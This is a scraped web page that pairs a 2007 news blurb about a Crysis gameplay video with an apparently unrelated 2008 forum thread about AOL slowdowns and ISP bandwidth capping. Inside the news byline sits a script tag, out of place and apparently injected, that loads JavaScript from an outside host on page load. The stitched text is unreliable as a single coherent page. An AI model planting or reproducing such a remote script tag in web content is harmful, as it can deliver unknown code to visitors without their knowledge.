New Crysis High Resolution Video

"New ingame video of Crysis."

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 06/01/2007
Author: v a d e R`
Source: File Shack

There is a new high resolution video of gameplay from the upcoming game "Crysis." Crysis has been highly anticipated to be one of the greatest games this year. The graphics and game engine, as you'll view in the video are amazing. The video focuses on the great graphics of forests in the game. Crysis is being developed and published by Crytek and Electronic Arts. View the video here .



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03-01-2008, 12:22:05

deepfried
Idk If anyone else on AOL has noticed, but around 5/6 o clock GMT theres a massive slowdown in speed.

I understand the limitations that massive subscription brings, but theyre a massive company FFS.

We even got a letter explaining that "unlimited" means "unlimited within reason."

Which is just plain stupid.

Anyone else suffer from this annoying problem?

03-01-2008, 13:14:55

barginbin
Virgin Media have been capping my internet for ages now!!! Grrrrrrrrrrrr

03-01-2008, 13:50:54

Brooksie

Virgin Media have been capping my internet for ages now!!! Grrrrrrrrrrrr



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03-01-2008, 14:09:27

Toxcity
Have had no problems with Go-Plus.. :)
Hope you guys fix the problem.. or switch.

04-01-2008, 00:35:52

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Are you on dial up? If not get off of AOL. There is no point in using AOL unless your on dial up.

04-01-2008, 06:31:45

SBB
Virgin are OK in my area. The capping is a bit lame but trust me it's a lot better than most of the other ISPs, who limit you to 50gb a month or whatever.

If you're looking for an alternative to AOL, Demon or Zen are great ADSL ISPs, even if they are a little more expensive than normal, you get what you pay for.
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